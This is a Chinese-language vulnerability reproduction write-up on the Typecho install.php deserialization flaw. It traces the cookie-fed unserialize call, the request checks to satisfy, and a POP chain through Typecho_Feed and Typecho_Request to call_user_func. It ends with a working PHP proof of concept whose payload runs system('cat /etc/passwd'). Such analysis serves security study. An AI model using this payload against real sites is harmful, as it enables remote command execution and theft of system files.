漏洞复现 | Typecho反序列化漏洞getshell

/ 0评 / 0

漏洞复现 | Typecho反序列化漏洞getshell

[toc]

0x01 漏洞前瞻

漏洞条件:

复现环境:

0x02 漏洞分析

先找出install.php中的漏洞点,搜索unserialize()函数,230-235行

<?php
    $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
    Typecho_Cookie::delete('__typecho_config');
    $db = new Typecho_Db($config['adapter'], $config['prefix']);
    $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
    Typecho_Db::set($db);
?>

参数被反序列化为数组之后先被赋给$config变量,然后再将其成员作为Typecho_Db类的参数,跟进这个类看一下,

   public function __construct($adapterName, $prefix = 'typecho_')
    {
        /** 获取适配器名称 */
        $this->_adapterName = $adapterName;

        /** 数据库适配器 */
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

        if (!call_user_func(array($adapterName, 'isAvailable'))) {
            throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
        }

        $this->_prefix = $prefix;

        /** 初始化内部变量 */
        $this->_pool = array();
        $this->_connectedPool = array();
        $this->_config = array();

        //实例化适配器对象
        $this->_adapter = new $adapterName();
    }

$config['adapter']这个成员首先会被当做字符串使用,然后会使用它来new一个新的对象

所以这个过程中,虽然没有可以控制参数的危险函数,但是$config['adapter']中的类一定会被触发的魔术方法有:

__toString()
__construct()
__destruct()

反序列化的参数来自于Typecho_Cookie::get(),看方法名猜测可控,跟进去查看一下,进入Typecho_Cookie类中

    private static $_prefix = ''
    public static function get($key, $default = NULL)
    {
        $key = self::$_prefix . $key;
        $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
        return is_array($value) ? $default : $value;
    }

可以看出返回值来自$_COOKIE['__typecho_config']$_POST['__typecho_config'],这都属于我们可控的内容

然后返回来,查看如何才能使反序列化被执行:

if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
    exit;
}
if (!empty($_GET) || !empty($_POST)) {
    if (empty($_SERVER['HTTP_REFERER'])) {
        exit;
    }

    $parts = parse_url($_SERVER['HTTP_REFERER']);
    if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) {
        $parts['host'] = "{$parts['host']}:{$parts['port']}";
    }

    if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
        exit;
    }
}

需要给定一个finish参数,Referer给定本站url,并且在cookie中指定__typecho_conig,都很容易实现

0x02 POP链的寻找

__construct一般来说是不利用的,因为一般来说无法控制参数,所以主要顺着思路在范围内查找包含__toString()``__destruct()方法的类,看是否有可以利用的POP链

​ 查找了一圈__destruct,并没有发现能够利用的链。

​ 最后在Feed.php中找到了一个也许能够利用的__toString方法

public function __toString(){
    ......
        else if (self::RSS2 == $this->_type) {
            $result .= '<rss version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:wfw="http://wellformedweb.org/CommentAPI/">
<channel>' . self::EOL;

            $content = '';
            $lastUpdate = 0;

            foreach ($this->_items as $item) {
                $content .= '<item>' . self::EOL;
                $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
                $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
                $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
                $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
                $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
     ......

}

$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;中调用了$item['author']的screenName属性,而$item数组则是来自于属性$this->_items数组中的一个成员

想着如果控制$item['author'],也许能够触发__get方法,于是思路变为寻找可利用的__get方法

在Typecho/Request.php中找到了一个

    public function __get($key)
    {
        return $this->get($key);
    }

跟进去

 public function get($key, $default = NULL)
    {
        switch (true) {
            case isset($this->_params[$key]):
                $value = $this->_params[$key];
                break;
            case isset(self::$_httpParams[$key]):
                $value = self::$_httpParams[$key];
                break;
            default:
                $value = $default;
                break;
        }

        $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
        return $this->_applyFilter($value);
    }

可控的$this->_params['$key']被赋给了$value,而$value被用作参数,跟进去看方法内有没有可以利用的点

    private function _applyFilter($value)
    {
        if ($this->_filter) {
            foreach ($this->_filter as $filter) {
                $value = is_array($value) ? array_map($filter, $value) :
                call_user_func($filter, $value);
            }

            $this->_filter = array();
        }

        return $value;
    }

危险函数call_user_func,参数$value可控,$filter可控

梳理一下,大致的pop链

array $config
↓
class Typecho_Feed->__toString()
↓
class Typecho_Request -> __get() -> get() -> _applyFilter()

0x03 POC编写

<?php 
class Typecho_Request{

        private $_params = array();
        private $_filter = array();

        public function __construct(){
                $this->_params['screenName'] = "cat /etc/passwd";
                $this->_filter[] = "system";
        }

}

class Typecho_Feed{

        private $_type;
        const RSS2 = 'RSS 2.0';
        private $_items = array();

        public function __construct(){
                $this->_type = self::RSS2;
                $this->_items[] = array(
                        "title" => "a",
                        "link" => "b",
                        "date" => "c",
                        "author" => new Typecho_Request(),
                        'category' => array(new Typecho_Request())
                );
        }

}
$exp = array(
        'adapter' => new Typecho_Feed(),
        'prefix' => 'a'
);

echo base64_encode(serialize($exp));